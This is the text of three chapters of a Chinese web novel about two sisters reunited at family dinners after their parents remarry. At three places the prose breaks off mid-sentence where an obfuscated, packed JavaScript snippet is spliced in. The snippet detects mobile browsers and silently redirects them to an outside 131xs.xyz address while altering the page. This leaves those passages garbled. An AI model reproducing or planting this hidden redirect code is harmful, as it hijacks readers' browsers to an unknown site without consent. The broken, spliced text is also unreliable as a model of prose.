《歧道漂移》 1. 第1章 齐家复婚后的第一次家宴,定在今天晚上。 今天是个再好不过的日子:映年大学毕业,昭岁高考结束,父母新家装修完毕。各归其位。 回家,顺便搬离宿舍。 映年为了塞下行李,穿上最占体积的皮靴。这靴子大一冬促期间买的,平日里在特定场合才拿出来穿,每次脚都受罪,可脱下时还是拿专业鞋油翻来覆去擦。 她本来觉得麻烦,没想到出考场下了场雨,糟糕的下水系统让教学楼前的台阶处积了一滩水,靴子的高度正好能平平顺顺不绕路地趟过去。 东西是收拾好了的,一件一件往下搬,外头有雨,蛇皮口袋就暂时垒在一楼的过道里。 祁孝逑来时,她正坐在行李箱上看招聘信息,而那堆考试资料被扔进了垃圾袋里。 两人合力把袋子扛着去车上,大多是祁孝逑出力,她伸手拖着,手上还在打伞,两边没讨到好。于是搬第二个袋子时,她干脆撂给祁孝逑搬,她帮着打伞。 还剩个行李箱,映年想拖着走。祁孝逑不让,说溅水进拉链里面都湿了。她说是防水的,祁孝逑又说雨天泥多,全卷轮子上了。 映年不再说,由着他了。一手打伞,一手正正想去拿挂在行李箱上的垃圾袋。 她刚伸手过去,就被祁孝逑别开。 “垃圾。” “噢。” 祁孝逑稍微靠过来,映年去拿,没想到祁孝逑又一转身,垃圾袋一下就被扯破了。 复习资料散落下来,网球拍要掉未掉,被祁孝逑一把手握着球拍柄,拿了起来。 映年不满睨祁孝逑一眼,把伞塞给他脖间夹着,把资料都捡起来,湿哒哒地还在滴水,全部扔进了垃圾桶里。 “不考了?” “以前的,写过了。” “噢。” 映年重新把伞打上,想要抓网球拍,被祁孝逑避开了。 “这不挺好,正好锻炼。” “线都断了。” “重新接上不就行了。” “场地也没有。” “停车场不就行了,搭个网。” “而且只有一个啊。” “还有一个……”祁孝逑问句戛然而止。 映年算是明白祁孝逑这费力搬行李箱的醉翁之意,她摊开手,不理他,伞也不打了,又塞出去,只撂下一句“那你自己扔吧”,走到副驾驶前开门坐下了。 不多时,后座被打开又关上。 映年扣上副驾驶的安全带,抱着胸没说话。 后座的书包上面放有一个断掉的网球拍。 “网球又没错。”祁孝逑开车上门说。 “是,网球又没错。”映年重复说。 祁孝逑没说话,启动车辆。 车窗打开,风肆虐响。 谁也不说话。 车至高架桥上,时速上升,祁孝逑关闭了所有车窗,打开空调。 “我回头扔给老张,他拿去玩。”祁孝逑让步。 “扔了。”映年说。 “老张平时锻炼……。” “扔了。”映年打断。 祁孝逑“噢”一声,没再吭声。 半晌,他又道:“我真不觉得这有什么,再考不就行了吗?” 映年说:“你没资格这么说。” 祁孝逑带着缓和:“你妈马上退休了,平时运动打球。我也腰痛,网球不是挺好吗?” 雨变小了,一丝丝发粘,扑在脸上不觉得冷。过了会儿,雨彻底没了。窗外绿树红叶,因高速行进的越野车被抛下,不留眼底。 映年觉得空间挤,调整座位往后退,背靠椅背时,才有父母复婚的实感——齐美裳喜欢副驾驶坐得与祁孝逑平齐,所以总是调整到很前。这样想着,映年又按着座位钮,将座椅调到刚才的位置。 同样,欲出口的话,又咽了回去。 在轮胎减速短暂的颠簸中,映年成了先松口的人:“我到现在都没学会打网球。” 祁孝逑不置可否,随着减速带一起摁动了几个“嗯”,又讲起道路维修、路牌建设、车道变速这类无关紧要的话题。 争论并不持久,让旧事重提又赫然止住,回归每次父女俩的万金油话题。二人心知肚明讨论着在建的隧道,又讲出饶有兴致的问题,以方便下一句不会让对方落空。 映年熟练地应着声,打开手机无序地反复刷新社媒,点开帖子,推送的都是些教师考试相关,她刚浏览完第一行又退出,又循环于此。 微信的新消息成了破口。 映年点开看。 这是祁孝逑拉的四人群,邀请的理由是方便晚宴通知,大家又心知肚明这是复婚完毕的家庭群。 映年便带着礼貌地将群内称呼改为真名。 现在齐美裳在群里询问:出发了吗? “还有多久?”映年抬头问祁孝逑。 作为三十年的司机,祁孝逑带着傲气,几乎不会使用导航,总是说“心中自有路况”,目前为止还不算吹牛。 “一个半小时。”祁孝逑说,“今天市政堵车。” 映年便打字:一个半小时。 齐美裳很快发来表情包,是一只开车的柴犬,配字是:一路顺风。 群里没人再说话。 映年往上翻,是上周五她发在群里的准考证。她的六级分足够看了,这一点,祁孝逑不懂。 “六级考试”延期家宴。是延期,不是取消。 再往上翻,是齐美裳询问菜单。一问一答,全是映年和齐美裳在说话。 齐美裳:映年想吃什么?或者有什么忌口? 映年:我只吃素,蛋奶可以。荤菜你们自己决定。 映年:爸爸胃病重,也少点。 齐美裳:#表情包/好! 对话便结束了。 四人中唯一没有冒泡的就是昭岁了。 映年在去年加过她微信好友,除了通过页面上的对话框,没人开口。 离婚时候,姐妹俩还没有一个手机,微信推出不够普遍。两人偶得上网机会,还在登录着□□账号的企鹅宠物小游戏,乐此不疲。 哪有想到能这样分开。 又哪有想到能这样重逢。 点进昭岁的朋友圈,三天可见,毫无内容。之前映年刷朋友圈也没刷到过昭岁,不知是真当不喜欢发,还是现在将她从屏蔽中拉出来了。 车内安静一会,祁孝逑又打开话题。 “毕业了,要不要去旅游?放松一下。” “去哪?”映年问出后,又反应过来,这是如家宴群般的家庭旅游计划。 “都行啊,看你想去哪。” “好,我先想想。”映年悻悻然应下。 祁孝逑突然问:“以歌演出好看吗?” 一直以来,祁孝逑对以歌的摇滚身份颇有微词,提起几乎居心叵测。 映年不咸不淡道:“你不是看过吗?” 这话没给祁孝逑留空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016286|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,可他还是硬接着话题夸赞两句。这让映年更加笃定接下来可能的话题。 果然,祁孝逑道:“你和以歌关系处得好,那我就放心了,昭岁应该和你也不会差。你和昭岁分开这么久,爸爸妈妈就是害怕你们太生疏。” 落日从躲藏的云出来,劈头洒下橘红的光,斜倚在门上的映年眼睛被闪,出现一个集中一团的黑点。 她在眩晕中,尽可能强硬说:“以歌姐愿意和我一起吃素。” “昭岁还说要减肥呢,你正好和她一块呗。”祁孝逑说。 话刚落,群里有新消息。 是昭岁发的菜单。 映年憋闷着气。这菜式,可不像是在减肥。 祁孝逑显然也觉得别扭,继续找补说:“分开时候昭岁牙都没换完,没想到这么快都是大姑娘了。” 或许这是多年未见女儿的慨叹,也可能是为了接下来家宴破冰的提前练习,再大概能是为彼此缺位的十年进行微不足道的串联,总之,父女俩竟然不约而同地笑出来。 见面前一个小时,藏匿的尴尬无处遁形。 _ 公交车时缓时快。 06号车会在拐弯上桥时,遇到另一辆交换车,单向的司机似乎有意识控制见面的时刻,有时候会在桥头有时候在桥尾,大多数是在桥中心。 过了桥,就到了中点站。 耽误或提早的时候一般是有闯红绿灯的路人,或者说是现在的情况:有人想硬塞上车。 昭岁偏爱不期而遇公交车重叠又错开,从起点站到终点站。她站在车窗旁,拉着扶手,见路灯亮起来。 七点了。 她迟到了。 车前门有争执声,后面没人说话。车上上班族多,也有放假的学生,他们略显疲态,一手吊着拉环,脑袋半倚着肩膀,一手举着手机在看。 如果说每趟班车恍若城市流动的血脉,高峰期就是无意戳破的脓疮,反复溃烂又自我愈合。 如若不是家宴,她不会来坐这趟高峰期的班车。 这几日天气转凉,公交车的空调也停了。现在人群密集,窗边稍稍带些凉风,昭岁感觉背已经汗湿了。 车厢里气味参杂。前头是一股运动后的汗味,往里走则是浓烈地药草味,现在昭岁站立的中段,是身旁吃的鸡柳香。 是,等会儿要去吃鸿门宴了。 昭岁想着特意筛选出的素食菜单,不知道对方是否满意,到现在也没吭声。 这时,齐美裳的电话又来了:“到哪了?” “公交车,还差一个站。” 昭岁说着,停靠站的车突然启动了。 “这点路骑车不就行了。” “没打气。”昭岁随口扯了个谎。 齐美裳说:“你爸已经到了。” 昭岁一愣。她的“爸”,一年前还是刘海洋,现在又转回到祁孝逑了。 昭岁抿抿唇,问:“你还有多久?” 齐美裳说:“马上。” 昭岁问:“大概多久?” 齐美裳说:“没多久。” 模棱两可的答案让昭岁惴惴不安。 她还是想问,好让心中确信:“几分钟?” 答案却未得昭岁所愿,齐美裳说:“快了快了。” 反复拉扯,薄弱了镇定,昭岁数着掠过的一排排商铺,感觉大限将至。 推她上断头台的就是车内广播,腾开的车门宛如挥动的砍刀,告诉她:“到站了。” 2. 第2章 四个人,南北东西四向桌,各坐一人。 祁孝逑对着齐美裳,昭岁便对着映年。齐美裳电话说刚到大厅,祁孝逑要去点菜区退几个菜。 桌前只剩姐妹二人。 服务生在一旁上菜,昭岁正在上菜口,站起来特意别过身子,帮着清理台面端上桌来。 八个菜,分量多,又是大盘子,摆在桌上放不下,有两个碟子叠起来了。 昭岁又帮着盛饭,把打好米的放顺手放在齐美裳面前,又拿起新碗,一勺一勺添。 期间,昭岁用眼神去偷瞄对面的人,对方端坐着,盯着前面的菜。那是凉拌素鸡,不会吧,她不会以为这是荤菜吧。 盛饭完毕,昭岁终于没活可干了。 昭岁坐下来,心头还提着,想同映年解释专点的素菜,一时间又语塞,看了一圈,发现茶水还没倒,刚想站起来,便被映年抢先一步掺了茶。 杯子递过来,昭岁举杯抿了抿,想要谢谢,又在想要不要加称呼。 ——好久没叫过“姐”了。 分开前夕,两人还在赌气,昭岁性子犟,哪怕中间咚咚说和,她直呼“映年”,非得等一个道歉。 到去年来见,也是匆匆一晚上,两人谈话只在“噢”“唉”“嗯”中进行,昭岁觉得别扭,想必映年也不自在。不然不会第二天一早,就收拾东西走了。 留了张字条,倒是叫的“妈”,没叫“妹”,也没叫“昭岁”,只写了“她”,对昭岁的交代只有五个字:“送她的礼物”。礼物的是一个笔袋,完全是等比放大的公交车形态,许是从齐美裳那知道她的喜好。这笔袋她喜欢,没舍得用,放进了公交车模型的展架里。 映年没当面交给她。那天昭岁在微信里敲敲打打,一直没发出去,怕影响了映年笔试的情绪。好吧,昭岁清楚这是个借口,她哪有这么大能耐。 这事拖到晚上,她点进对方的朋友圈,瞧见最新一条是几分钟前,排列四宫格的照片。映年和另外一个酷姐,拿着麦克风和吉他。 她听齐美裳说过,祁孝逑再组的家庭。对方有个姐姐叫以歌,大映年五岁,玩摇滚音乐。昭岁偷偷搜索以歌的名字,没搜到,后来发现齐美裳在听音乐,悄悄用识曲搜了出来,是乐队的名字。再顺藤摸瓜去翻到乐队的微博,瞧见了主唱的名字叫沈以歌。 原来齐美裳也在听。昭岁试探性地推给了刘海洋,他笑着说不知何时母女俩都爱上了摇滚。昭岁不忍心,又把这歌从歌单里移除了。 乐队微博还是关注着。可能是乐队没名气,经营也不正统,偶尔会发些粉丝互动照片,昭岁一眼就在人群中认出了映年。 她的姐姐,做了别人的妹妹。 加了微信,才发现映年和以歌关系很好,朋友圈里尽是二人的合照。她还翻到了映年和沈阿姨母女的合影,是张影楼复古风的照片,瞧上去就像是一家人。 原原本本的一家人。 再次浏览完朋友圈,没发出去的感谢,又删掉了。 现在想来,是不妥。映年的礼物,总是用心的礼物,不能因为她是妹妹就顺理成章的受着。 于是昭岁打算开口,张嘴声如蚊蚋:“谢谢。” 话没说完,映年又起身来,指了指手机,也离开餐桌。昭岁舒了一口气,盯着映年离开的背影,暗自气自己没讲好,站起身来重新调整餐盘的位置。 离席还真不是映年逃避,电话是辅导员打来的。 那头苦心积虑做思想工作:“协议都填了,怎么又取消了呢?” “可能是系统有延误吧,我没取消。”映年想快点摆脱,又担心后续还有麻烦辅导员的情况,只能找到理由搪塞。 “你评优评先,考公请假,这些我都是支持的。”辅导员又讲起陈词滥调,“你也要配合我工作。” 映年的奖状奖金全凭实力,请假合理合规,可不能独揽到辅导员身上。 映年敲着过道的栏杆,见齐美裳上来了,点了点头,避开她的目光,侧身对着窗户,回答道:“我在等第二中学的笔试成绩。” 辅导员又念叨了两下,言语中是催促她快点,便挂了电话。 齐美裳没等她,走到前面。映年也没追上去,走在后头。母女俩一前一后走着。 到转弯的地方,齐美裳停下来,去看她。映年保持着速度走了两步,又小跑起来,到齐美裳身边。母女俩又并肩着走。 分开头两年,映年联系齐美裳的机会少,借着祁孝逑的电话通电。齐美裳偶尔来学校看她,或者是祁孝逑跑长途车时,会带上映年,路过收费站把映年放下来,让她陪在齐美裳身边上班,回程时又带上车离开。也就一俩小时的相处时间。 后头祁孝逑和沈烟交往,映年神伤一阵,对家庭重组无望感到溃败,再没多久,便在收费站听见同事阿姨不经意地说起齐美裳再婚。重组是彻底没了希望。 哪知,哪知。 真如十年前所愿,一家重组。 今年过完年回学校,祁孝逑装了一片腊肉硬要塞给她,让她去找饭店加工,分给室友尝尝。映年心说,今年奶奶还勤快起来做了腊肉,想要拒绝,便听见祁孝逑说:“你妈做的。” 回校路上,她心头持续着古怪的情绪,计划去吃口车站专卖的酥饼也放起来,早早上了地铁,导致没待钥匙在宿舍门口等着。 脱下外套,才发现不知何时腊肉袋子有了个豁口,带着黑灰的油蹭到羽绒服上了。 映年提不起劲,把行李箱放倒坐下来,靠在墙上。她还是没能真实消化,但摆在事实的情况是——父母正在复合。 进入很快,到六月,新家装好了。 四人落座,家宴开始。 能有什么可聊的呢?映年不清楚。 她和祁孝逑话题本就不多。大四这年,映年忙着实习忙着考试,偶尔祁孝逑电话过来,三俩句就扯到哪哪学校的福利待遇不错。听着心烦,她干脆假装不在,拿着手机看着铃声响完后自动挂断。 至于齐美裳和昭岁,就更没可聊的了。上半年祁孝逑有意攒局,映年和这次的六级考试一样,总会以实习或者备考的理由打发,祁孝逑可能看出她的顾虑,也可能齐美裳善解人意,没勉强。 一直等到搬新家前才布置家宴。 祁孝逑举着茶杯,要说“合家欢喜”一类贺词,端到空中,又停下来,他说:“喝点饮料吧?” 说话时,他先朝着映年看了一眼,又去看昭岁。 “那来点吧?”齐美裳清拍一下额头,她本来打算从家里带瓶红酒过来,被昭岁催促又给忘了,“想喝什么?” 她视线询问和祁孝逑一样,不过先看的是昭岁,再是映年。 昭岁吮着筷子,朝映年看去,发现对方也在看她。一时间昭岁歉疚,齐美裳把订单的事交给她,她转头联系餐厅确定素餐,却遗漏了饮料。 两人竟同一时间开口。 “那要现磨的花生豆浆吧?”昭岁对齐美裳说。 “不要了,茶水也挺好的。”映年对祁孝逑说。 说完,彼此一顿。 “那就喝花生豆浆吧。”祁孝逑说。 昭岁慌忙止住:“没事,不用,茶水也行。” 映年却重复:“那就喝花生豆浆吧。” 花生豆浆端上来,温温热,喝一口带着浓厚的渣。 终于到了干杯的时刻,四人举起杯子相碰。 “祝昭岁考得好成绩,祝映年上岸教师编。”祁孝逑说。 “还祝我早点退休,祝你早点退休。”齐美裳说。 昭岁和映年对视一眼,仰头喝了大半豆浆。 搁下杯子时,她见映年杯中的豆浆几乎没动。 餐桌上聊的话题多数是祁孝逑起的。他这两年的公交车路线比较轻松,休息时间足,空下来就往新房处跑。 新房里,姐妹二人软装意见,都是由他操守监督。他从吊灯说到墙布,床垫讲到木地板,为自己的巧思和劳作总结,又希望姐妹二人看到别失望。 不同纹理的地砖,祁孝逑发来了几十张图片,映年出考场后微信转了半分钟才停,她在回程路上的地铁上挑来挑去,没拿定注意,等到晚上祁孝逑催促时,又翻找一遍,忘了中午看到心仪的砖块是哪类,于是浏览一遍,草草选了个顺眼的发过去。 这样选顶灯选墙布到选窗帘的时刻,接下来还有书桌床铺等等,映年稍稍疲惫,就让他看着决定就好。祁孝逑便问:“和昭岁一样可以吗?”映年来回听了几遍两秒的语音,发出了:随便。 从小姐妹都是姐妹款的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016287|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西,有亲昵有占强,白日会上铺的归属权大吵一架,晚上又一同在下铺搭建起秘密基地。 离婚后,祁孝逑带着映年离开,她终于有了自己的房间,不再和昭岁一起。没有去争上铺,不用管谁靠墙睡,无夜间被吵醒的风险。 新房看了又看,父母作势要一碗水端平,两个朝南的房间面积大差不差,风景也是一条河岸。 她们是分开了。 映年也不清楚新家装修怎么样,祁孝逑会不会真复刻着昭岁的房间装潢。 那昭岁呢,映年看向对面低头吃菜的女孩,她会不会生气? 聊完装修,宴会过了大半,气氛稍微活络起来。 齐美裳给映年加了一片茄子,特意说:“这好吃。” 祁孝逑紧张地看向映年,到映年抬头看他时,把盘子递了出去。齐美裳察觉异常,问:“怎么?” 祁孝逑又看了映年一眼,见她勉强,正想开口,便听着映年说“没事”,立马端起碗刨饭咽了下去。 他舒一口气,又紧起来。 映年搁下碗,恶心感直冲口腔,映年拿起豆浆喝了几口,算是压下去了。 她护住碗,说:“妈,我自己夹。” 齐美裳“哦哦”两声,刚夹起来的腐竹,进了自己的碗。 昭岁见空杯的豆浆,忿忿不平起来,朝齐美裳看去。齐美裳轻轻摇头没说话,把豆浆壶拿来,给映年新添了杯。映年这次没拒绝。 插曲让气氛又降了一度。 祁孝逑不得不说起工作的趣事,讲起他拾金不昧被人颁发奖状,帮助残疾群体乘车,或者是夜班救援了一个差点猝死的人。 齐美裳听过,还是耐着性子继续,不让餐桌冷下来,偶尔她会点昭岁一下,昭岁便会附和两句。 祁孝逑问昭岁:“笔袋收到了吗?我特意托朋友去国外带回来的。” “噢,”昭岁扒着米,迟钝地应了两声,没抬头,怕撞见齐美裳的视线,老实答道,“我很喜欢。” 齐美裳端着的碗放在桌上,发出一声响。 祁孝逑道:“映年喜欢玩滑板,小区附近有个碗池,你正好考完放松,晚上吃了饭可以一起去玩。” 昭岁望向映年,对方低头正在挑花椒。 昭岁说:“那多热啊。” 映年也抬头,话是对着祁孝逑说:“那边碗池坡大,不适合新手。” 齐美裳来打圆场,话题聊到映年的滑板,便道:“以前映年玩轮滑就可厉害了,昭岁一直跟着姐姐后面撵。” 昭岁话有点酸:“她现在更厉害。” “厉害”二字读的重音,让齐美裳的笑收了收。她们心知肚明,还私下看过映年滑板速降的视频,评论区全是赞美,红心点赞破了千。齐美裳不这么认为,盘旋的山路、呼啸的风声、擦起的火花,让她又惊又怕。 在这之外,昭岁是佩服。映年成绩自小优异,一路保送到高中,大学也是市内最好的。不像她,成绩考不好,玩也没玩出个名头。 思及此,昭岁难免去想,倘若她玩滑板,可能也不会走到极限运动的选择。齐美裳在收费站工作,年复一年见多了各类事故,经常说起货车司机冒险,刹车失灵云云。 从前刘海洋带着母女二人登山,遇到了蹦极挑战。刘海洋想去试试,昭岁也想,齐美裳数落着刘海洋带坏小孩,又骂了一次昭岁。 回头回去,刘海洋悄悄拉着昭岁说:“改天我俩偷偷来蹦。” 可惜刘海洋是后爸,在齐美裳面前做不了昭岁的主。她把这当作哄孩子的话,家里再也没聊过蹦极。 昭岁想,在祁孝逑身边长大,就不会这么束手束脚了吧,他也不会万般阻碍自己。 所以,昭岁很羡慕映年。或许同齐美裳口中一样,她注定是不如映年的。 除了吃肉。 家宴结束,祁孝逑去取车,留母女三人打包饭菜。 剩下的茄子和螃蟹不多,是油炸物,服务员想放在一个盒子里,被齐美裳叫住分开装了。 映年感觉很陌生。 齐美裳从前不是这样的。 她扫一眼昭岁手里的半壶花生豆浆,重新拿起新添没喝的豆浆,一饮而尽,料渣稍稍撵喉,于是又倒了一杯免费的茶水,一并顺了下去。 3. 第 3 章 家宴后是乔迁宴。 齐家和祁家的亲戚都来了。最先的环节是参观,齐美裳如同房产中介一般,介绍房子的布局和装修,带着一群人从客厅到阳台,厨房到卧室,一圈下来才围坐在沙发上。 映年能堂而皇之地一并去看昭岁的房间了。吊灯款式和她房间一样,其他都不同。昭岁的衣柜很夸张,在靠门的一侧做的是透明的展柜,里面放着一堆模型。 机甲、汽车、铁轨,各种各样。 不一样。 得到满意的答案,她吊着的气,还是没松开——为这诡谲的情绪,她无所适从。 姐妹俩坐在其中。 论长相来说,映年脸圆些更显柔和,昭岁则锋利。映年给人一种好说话的感觉,总是被齐家亲戚一句“我是你谁”的问句问倒,大姥姥又在一旁解围“三姥姥呀”。大姥姥开心,让推着轮椅从养老院出来,就要来见映年一面,映年七岁前和大姥姥生活在一块,两人亲,自然更要护住映年。 昭岁那头不一样,她对祁家的亲戚都能应变着喊出称呼,哪怕叫错,也能嘻嘻笑着,甜甜再喊两声正确的。 苦恼的认亲戚环节结束,话题又绕到二人学业事业。亲戚不会知道,随口一提会让人感到不舒服。是问候,还是刺探?昭岁尽量不往坏处想。 昭岁心虚,她把估分抛了三十多来讲,又讲发挥不好。映年尴尬,说还没工作。齐美裳在一旁连忙补充:“映年在面试二中呢。”这话一出,映年更尴尬了。 好在这些答案对亲戚不重要。他们没再抓着孩子讲话,话题绕到房价,赞叹起买新家装修,感慨时间过得真快。 两家人分开后再重逢,比夫妻俩的热情,一方说着:“孩子大了,父母在一块退休照顾也方便。”另一方连连点头后说:“是是,还是知根知底的好。” 终于挨到了饭点,上桌吃饭。 映年最担心的话题,终于被齐家三姥姥问出来了:“怎么了能就吃素呢?身体能得上吗,怪不得映年这么瘦。” 这话既贬了祁孝逑,又戳着映年。 祁孝逑见多了公交车上的事故,应付这场面如鱼得水:“三姨你别看小姑娘身材,人攒劲可大了,咱又不是吃不起饭的年代,愿意吃啥就吃。” 大姥姥冷哼一声:“她筷子又没夹到你碗里,你管她吃什么。” 三姥姥气得敲一下桌子,抱着纸咳了几声,大姥姥没管她,自顾自继续夹菜。两姊妹是性格都倔,小时候关系就不见得好,尤其是在美玉美裳出生后稍微缓和些,到大姥姥常居养老院,不怎么联系,关系又下来了。 大伙心照不宣,三姥姥故意刁钻是为什么。 齐美玉近年来长居佛寺,吃斋念佛,又是独女,三姥姥心没盼头,把怨恨撒在让齐美玉去佛寺脚下工作的齐美裳身上。 饭桌安静了一阵。 三姥姥接着发表观点,一旁的昭岁靠着她,欢喜地加了两筷子猪肥膘到三姥姥碗里,哄着她多吃点。 “减什么肥啊。” 这话题,以三姥姥的感慨结束了。 映年要调羹舀着番茄汤,就端着碗在喝,没说话。 数落的人从映年,转到体重飙升的咚咚,这次话主导的是大姥姥。 咚咚是三姥姥的孙女,脸圆胳膊粗,个子也高,看起来高高壮壮的,留着一头蓬勃生长的短发。不同于映年,她是吃饭很香的人,啃着骨头很享受。 大姥姥一旁故意称赞:“是,咚咚的肉要是分点给映年就好了。” 三姥姥脸上的怒起登时起来,当事人咚咚却笑意盈盈,嘴里油滋滋讲:“映年姐跟着我逛两轮夜市,一下就快了。” 这模样似是没听出姥姥的讽刺,让人没了话说。 映年一同在笑,笑的是十年来三姥姥和姥姥还是一样,小事争大事抢。她望向齐美裳,有感觉母亲发生了变化,可参照物太久远,已经忘了哪变了。 昭岁则震惊,咚咚顺条称的一声“姐”,可真顺口。中考结束时,她听说咚咚不高考了,要去读职空乘。姥姥们都把昭岁和咚咚作比较,两人年龄差了两岁,年级只差一年,一样的学校,差不多的读书水准,有时昭岁吃瘪,有时咚咚惜败。 中考结束那会儿,昭岁听说咚咚读不下去了,要去职校读空乘,她还暗自窃喜,大结局是她赢了。 现在看,早入社会的咚咚,成熟度也比她这装出来的强。昭岁勉励自己去想,读大学总归是比没读好,万一真如吹牛一样,考上了一本,更是不一样了。 这顿饭聊着聊着,讲起杨梅园的往事。 四姨讲起:“映年也有调皮的时候,去爬给摔断腿。” 二叔又在附和:“那是昭岁偷喝杨梅露醉了,映年想去摘点新的泡上,不要被发现了。” 姥姥也笑出来,对这事影响深刻:“昭岁肚子不舒服,还是吐了,没想到吐出来被黄狗给吃了,搞得狗晕了三天。” 映年不爽,重申一遍:“是二姨她俩在摘杨梅,我才过去,这腿才断。” 其他人连连点头,没反驳,但这表情不知道信了几分。他们继续讲杨梅园采摘的事情,惋惜开发反而少了一家回村度假的乐趣。 老家的事情的确有可多能聊。 昭岁一句话没插,低头在啃脆骨,咬的“嘎嘣嘎嘣”响,最后吐出来,她有点佩服咚咚,抬头望过去,发现咚咚举着筷子正在发呆,模样憨厚。 面前碗碟是一个甜皮鸭的鸭腿。 昭岁从前喜欢,现在是一点不动筷。 人都会变,何况是口味。 这无可避免的,昭岁回忆起从前。家里头买鸭一般只买一半,砍下来是鸭脖或鸭头,翅膀和腿只有一个。腿的肉一绝,紧实多汁,翅膀也不赖,嗦骨头都有味。 祁孝逑买回家,幼儿园先放学,盯着打包餐盒,悄悄把鸭腿拿出来啃。晚上开饭时,少了块鸭腿,齐美裳清楚是昭岁的把戏,自然而然的把翅膀夹给映年。 她眼馋,盯着映年眨巴着眼。映年举起翅膀又放下,放在了她的餐盘里,自己去夹了个鸭头。 再次买甜皮鸭,昭岁故技重施,又多得了一个翅膀。 齐美裳发现了,数落一遍昭岁,反是映年在劝。后头再买甜皮鸭,都是一整只,各分翅膀和鸡腿。 离婚后,又回归到购买半只的情况。昭岁相夹翅膀和大腿,全部先行被齐美裳夹在碗里。 她眼角含泪,说着“对不起映年”。 昭岁干巴巴抿着筷子,不知所措。 _ 午饭结束,长辈要送大姥姥去机场,小辈出门去倒垃圾。 咚咚走在三人中间,她问映年:“那杨梅真是我爸妈摘的?” 映年对这情况记忆犹新,不是她硬要证明自己不是笨手笨脚,重点在于事实如此,她再次对咚咚的疑问肯定。 “噢,”咚咚长吁一口气,拎着酒瓶晃荡触发“哐当哐当”的响,她又“噢”了一声。 如恍悟。 咚咚陡然笑起来,把两个口袋提在一只手上,另一只手去扶汗渍垮掉的眼泪,她说:“我说呢,我就说。” 她笑容勉强,有种淡淡的憔悴,不似平时一如既往的模样。 映年以为说错了话,心知咚咚她爸妈离婚了,不该提起,连忙解释:“不能全怪她们,也有我的错。” “腿好了吗?”咚咚却关心起她来。 “老早的事情,”映年说,“没事了。” 咚咚说:“之前刷到速降,都不敢认是你,问了昭岁,她说是你。” 映年看向昭岁,昭岁低下头解释:“朋友圈。” “有空一起玩,那有碗池。”映年邀请咚咚,“昭岁也一起。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016288|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 被唤到的昭岁愣了一下,摇摇头,又解释:“我怕。” 咚咚再同昭岁说:“你不是有场公交车吗?正好拉着你姐一块呗。” “什么公交车?”映年问。 “025路,最后两天了。”昭岁脸颊微微发烫,她不确定红了没,“马上就取消通行了,我想去坐一会。” 025路啊…… 这是老路线了,那会儿自动刷卡还没出来,齐美裳做了两年的售票员,直到换代后,才去到了高速路口收费。 映年的答案模棱两可,昭岁尴尬住了。可能是自愧不如,大众印象影响她的判断,坐公交车和滑板完全不是一个喜好。可能是羞耻,好像喜欢公交车这爱好,是暴露了她恋恋不舍从前一样——从前管制不严格,姐妹二人放学后都在门口等那趟公交车,上车后坐几个来回,等到父母下班一起回去。 这些年经历了几次车型换代,祁孝逑早不开025路了,没想到映年再听到这趟车的消息,是到了最后一站。 分开也是这条路。 父母承诺带两姐妹去邻市玩,带着上了公交车,映年稍稍困着睡着了,隐约间听见齐美裳在叫她,迷迷瞪瞪不想动,恍惚间是见到齐美裳就带着昭岁先下了车。 明明没到终点站。 她花了很长一段时间消化。有时在想,如果当时她没睡着,能不能和齐美裳一起生活,有时又推翻这假设,只能拆开的话,昭岁应该是齐美裳的优先选择。 映年是姐姐,昭岁是妹妹。这个理由简直无懈可击。 明明她也想要齐美裳。 三人中咚咚聊起要招待映年喝糖水,她呆呆的应着,一并把垃圾扔进桶里。 咚咚没再上楼,说着下午要去店里就走了。剩俩姐妹一块回去。 电梯上行,二人并行着里面的栏杆站着。 昭岁眼神闪闪烁烁,询问的话没说出口。她没敢侧脸,担心自己被拆穿,不自觉地想动,转过身去照正面的镜子,从镜子里去打量映年的腿。 倏地,映年问:“你一个人?” “什么一个人?” “公交车。” “哦,不是,我没告诉爸妈,群友一块,不知道会去多少人。咚咚也在群里,公交车迷群。” “咚咚爱坐车?” “她推销糖水生意。” “那我能去吗?” “当然可以!”昭岁意识到自己太激动,摁下情绪,“你要和我们一起吗?还是单独。” “你们计划多久?” “就最后一天,十四号。我们坐来回末班车,一般完了一起去吃烤串。” 映年这次给了确定的答复,只说:“我平时不吃烤串。” “不用,不勉强的。”昭岁连忙道。 “有什么规则或者禁忌吗?” “我们会拍一个vlog,你不要想出镜的话,正好可以拿相机。” “没事,这无所谓,就是会不会麻烦你?” “不会,我们群体很欢迎乘客。” _ 六月十四日晚上七点,枢纽站。 大巴迷们摆着横幅,拿着马克笔在签名。咚咚拿着骑的三轮过来,先给调度室的几位接了杯糖水,又分发给其他人。 有司机出来,端着土里土气的杯子,带着墨镜,也拿着马克笔在签字。 